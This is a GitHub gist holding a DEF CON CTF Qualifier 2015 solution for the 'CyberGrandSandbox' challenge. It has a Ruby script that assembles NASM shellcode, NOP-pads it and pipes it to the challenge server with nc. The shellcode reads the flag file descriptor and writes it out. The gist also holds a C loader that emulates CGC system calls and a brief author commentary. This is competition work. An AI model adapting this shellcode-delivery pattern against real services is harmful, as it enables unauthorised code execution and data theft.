Skip to content

Instantly share code, notes, and snippets.

@shinh
Last active August 29, 2015 14:21
Show Gist options
  • Save shinh/68139b864396e53121dd to your computer and use it in GitHub Desktop.
Save shinh/68139b864396e53121dd to your computer and use it in GitHub Desktop.
DEF CON CTF Qual 2015 CyberGrandSandbox
#!/usr/bin/env ruby
require './ctfutils'
system("nasm cgc.asm -o cgc.bin")
sc = File.read('cgc.bin')
nums = []
while sc.size % 4 != 0
sc << 0x90
end
16.times do
sc << 0x90
end
0.step(sc.size-1, 4) do |i|
nums << sc[i, 4].unpack("L")
end
p nums
nums = nums.reverse
while nums.size != 294
nums << 0x90909090
end
if $prod
pipe = popen('nc cybergrandsandbox_e722a7ec2ad46b9fb8472db37cb95713.quals.shallweplayaga.me 4347')
else
pipe = popen('./load_cgc cybergrandsandbox_elf')
end
pipe.puts nums * ' '
pipe.interactive
The attack itself is not interesting at all. You can easily let the
program to execute your shell code.
I know very little CTF history, and I thought the CyberGrandChallenge
thing is specially developed for this CTF. I assumed there will
be a few more problems on this environment so I created a CGC
simulator based on https://github.com/shinh/tel_ldr. This worked
nicely on my Linux box, where my usual tools are available.
As the one more CGC problem (patcher) was fairly easy, this wasn't a
good investment, but I somewhat like how I could implement the
simulator easily. My loader changes "int 0x80" to "ud2". SIGILL caused
by ud2 is handled by the signal handler. It uses normal Linux system
calls and calls setcontext to return to the CGC binary.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/select.h>
#include <sys/syscall.h>
#include <ucontext.h>
#include <unistd.h>
//#define fprintf(...)
//#define LOG(...) fprintf(stderr, __VA_ARGS__)
#define LOG(...)
void error(const char* msg) {
perror(msg);
abort();
}
void undefined() {
fprintf(stderr, "undefined function is called\n");
abort();
}
int g_argc;
char** g_argv;
int handle_syscall_impl(int sysno, int a0, int a1, int a2, int a3, int a4, int a5) {
switch (sysno) {
case 1: // _terminate
fprintf(stderr, "> terminate(%d)\n", a0);
exit(a0);
case 2: { // transmit
LOG("> transmit(%d, %p, %d, %p)\n", a0, a1, a2, a3);
int r = write(a0, (void*)a1, a2);
LOG("< transmit(%d, %p, %d, %p) = %d\n", a0, a1, a2, a3, r);
if (r < 0) {
return errno;
}
((int*)a3)[0] = r;
return 0;
}
case 3: { // receive
LOG("> receive(%d, %p, %d, %p)\n", a0, a1, a2, a3);
int r = read(a0, (void*)a1, a2);
LOG("< receive(%d, %p, %d, %p) = %d\n", a0, a1, a2, a3, r);
if (r < 0) {
return errno;
}
((int*)a3)[0] = r;
return 0;
}
case 4: { // fdwait
LOG("> fdwait(%d, %p, %p, %p, %p)\n",
a0, a1, a2, a3, a4);
int r = select(a0, (fd_set*)a1, (fd_set*)a2, NULL, (struct timeval*)a3);
LOG("< fdwait(%d, %p, %p, %p, %p) = %d\n",
a0, a1, a2, a3, a4, r);
if (r < 0) {
return errno;
}
if (a4) {
((int*)a4)[0] = r;
}
return 0;
}
case 5: { // allocate
fprintf(stderr, "> allocate(%d, %d, %p)\n", a0, a1, a2);
int prot = PROT_READ | PROT_WRITE;
if (a1)
prot |= PROT_EXEC;
void* r = mmap(NULL, (a0 + 4095) & ~4095, prot,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
fprintf(stderr, "< allocate(%d, %d, %p) = %p\n", a0, a1, a2, r);
if (r == MAP_FAILED) {
return ENOMEM;
}
*((void**)a2) = r;
return 0;
}
case 6: // deallocate
abort();
break;
case 7: // random
abort();
break;
}
LOG("sysno=%d\n", sysno);
return 0;
}
void handle_syscall(int signo, siginfo_t* info, void* vctx) {
ucontext_t* ctx = (ucontext_t*)vctx;
mcontext_t* mc = &ctx->uc_mcontext;
int r = handle_syscall_impl(mc->gregs[REG_EAX], mc->gregs[REG_EBX],
mc->gregs[REG_ECX], mc->gregs[REG_EDX],
mc->gregs[REG_ESI], mc->gregs[REG_EDI],
mc->gregs[REG_EBP]);
mc->gregs[REG_EAX] = r;
mc->gregs[REG_EIP] += 2;
setcontext(ctx);
}
void run(void* entry) {
((void*(*)())entry)();
}
int main(int argc, char* argv[]) {
int i;
int fd, len;
char* elf;
int entry, phoff, phnum;
int* ph;
fd = open("flag", O_RDONLY);
if (argc < 2)
error("Usage: el <elf>");
LOG("loading %s\n", argv[1]);
fd = open(argv[1], O_RDONLY);
if (fd < 0)
error("Usage: el <elf>");
len = lseek(fd, 0, SEEK_END);
elf = (char*)malloc(len);
lseek(fd, 0, SEEK_SET);
read(fd, elf, len);
if (*(int*)elf != 0x464c457f)
error("not elf");
if (*(int*)(elf+16) != 0x30002)
error("not i386 exec");
entry = *(int*)(elf+24);
phoff = *(int*)(elf+28);
phnum = *(int*)(elf+42);
LOG("%x %x %x\n", entry, phoff, phnum);
ph = (int*)(elf + phoff);
for (i = 0; i < phnum >> 16; i++) {
int poff, paddr, pfsize, psize, pafsize, pflag /*, palign */;
poff = ph[1];
paddr = ph[2];
pfsize = ph[4];
psize = ph[5];
pflag = ph[6];
/*palign = ph[7];*/
switch (ph[0]) {
case 1: {
int prot = 0;
if (pflag & 1)
prot |= PROT_EXEC;
if (pflag & 2)
prot |= PROT_WRITE;
if (pflag & 4)
prot |= PROT_READ;
if (prot & PROT_EXEC) {
prot |= PROT_WRITE;
}
psize += paddr & 0xfff;
pfsize += paddr & 0xfff;
poff -= paddr & 0xfff;
paddr &= ~0xfff;
pafsize = (pfsize + 0xfff) & ~0xfff;
psize = (psize + 0xfff) & ~0xfff;
LOG("PT_LOAD size=%d fsize=%d flag=%d addr=%x prot=%d poff=%d\n",
psize, pafsize, pflag, paddr, prot, poff);
if (mmap((void*)paddr, pafsize, prot, MAP_FILE|MAP_PRIVATE|MAP_FIXED,
fd, poff) == MAP_FAILED) {
error("mmap(file)");
}
if ((prot & PROT_WRITE)) {
LOG("%p\n", (char*)paddr);
for (; pfsize < pafsize; pfsize++) {
char* p = (char*)paddr;
p[pfsize] = 0;
}
if (pfsize != psize) {
if (mmap((void*)(paddr + pfsize),
psize - pfsize, prot, MAP_ANON|MAP_PRIVATE,
-1, 0) == MAP_FAILED) {
error("mmap(anon)");
}
}
}
if (prot & PROT_EXEC) {
char* a = elf + poff;
int l = pfsize;
while (1) {
char* f = memmem(a, l, "\xcd\x80", 2);
if (f == NULL)
break;
char* intr = (char*)paddr + (f - (elf + poff));
LOG("int $0x80 at %p\n", intr);
l -= f - a + 1;
a = f + 1;
//*intr = 0xcc;
intr[0] = 0x0f;
intr[1] = 0x0b;
}
}
break;
}
case 2: {
char* dyn;
char* dstr = NULL;
char* dsym = NULL;
char* rel = NULL;
char* pltrel = NULL;
int relsz, relent, pltrelsz = 0;
int needed[999] = {}, *neededp = needed;
puts("PT_DYNAMIC");
dyn = elf + poff;
for (;;) {
short dtag = *(short*)dyn;
int dval = *(int*)(dyn + 4);
dyn += 8;
if (dtag == 0)
break;
switch (dtag) {
case 1: { /* DT_NEEDED */
*neededp++ = dval;
}
case 2: {
pltrelsz = dval;
LOG("pltrelsz: %d\n", pltrelsz);
break;
}
case 5: {
dstr = (char*)dval;
LOG("dstr: %p %s\n", dstr, dstr+1);
break;
}
case 6: {
dsym = (char*)dval;
LOG("dsym: %p\n", dsym);
break;
}
case 17: {
rel = (char*)dval;
LOG("rel: %p\n", rel);
break;
}
case 18: {
relsz = dval;
LOG("relsz: %d\n", relsz);
break;
}
case 19: {
relent = dval;
LOG("relent: %d\n", relent);
break;
}
case 20: {
pltrel = (char*)dval;
LOG("pltrel: %p\n", pltrel);
break;
}
default:
LOG("unknown DYN %d %d\n", dtag, dval);
}
}
if (!dsym || !dstr) {
error("no dsym or dstr");
}
for (neededp = needed; *neededp; neededp++) {
LOG("needed: %s\n", dstr + *neededp);
dlopen(dstr + *neededp, RTLD_NOW | RTLD_GLOBAL);
}
{
int i, j;
for (j = 0; j < 2; j++) {
for (i = 0; i < relsz; rel += relent, i += relent) {
int* addr = *(int**)rel;
int info = *(int*)(rel + 4);
int sym = info >> 8;
int type = info & 0xff;
int* ds = (int*)(dsym + 16 * sym);
char* sname = dstr + *ds;
void* val=0;
int k;
#if 0
for(k=0;T[k].n;k++){
if(!strcmp(sname,T[k].n)){
val = T[k].f;
break;
}
}
#endif
if(!val){
if (!strcmp(sname,"stdout"))
val = &stdout;
else if (!strcmp(sname,"_Stdout"))
val = stdout;
else if (!strcmp(sname,"stderr"))
val = &stderr;
else if (!strcmp(sname,"_Stderr"))
val = stderr;
/*
else if (!strcmp(sname, "__environ"))
val = &environ;
*/
else
val = dlsym(RTLD_DEFAULT, sname);
}
LOG("%srel: %p %s(%d) %d => %p\n",
j ? "plt" : "", (void*)addr, sname, sym, type, val);
if (!val) {
val = (void*)&undefined;
}
switch (type) {
case 1: {
*addr += (int)val;
}
case 5: {
if (val) {
*addr = *(int*)val;
} else {
fprintf(stderr, "undefined: %s\n", sname);
//abort();
}
}
case 6: {
if (val) {
*addr = (int)val;
} else {
fprintf(stderr, "undefined data %s\n", sname);
}
break;
}
case 7: {
if (val) {
*addr = (int)val;
} else {
*addr = (int)&undefined;
}
break;
}
}
}
if ((int)pltrel != 17) {
rel = pltrel;
}
relsz = pltrelsz;
}
}
break;
}
default:
fprintf(stderr, "unknown PT %d\n", ph[0]);
}
ph += 8;
}
g_argc = argc-1;
g_argv = argv+1;
struct sigaction act = {};
act.sa_sigaction = handle_syscall;
act.sa_flags = SA_SIGINFO;
sigaction(SIGILL, &act, NULL);
fprintf(stderr, "start!: %s %x\n", argv[1], entry);
run((void*)entry);
}
BITS 32
mov EAX, 3
mov EBX, 3
mov ECX, 0x804a000
mov EDX, 200
mov ESI, 0
int 0x80
mov EAX, 2
mov EBX, 1
mov ECX, 0x804a000
mov EDX, 200
mov ESI, 0
int 0x80
mov EAX, 1
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment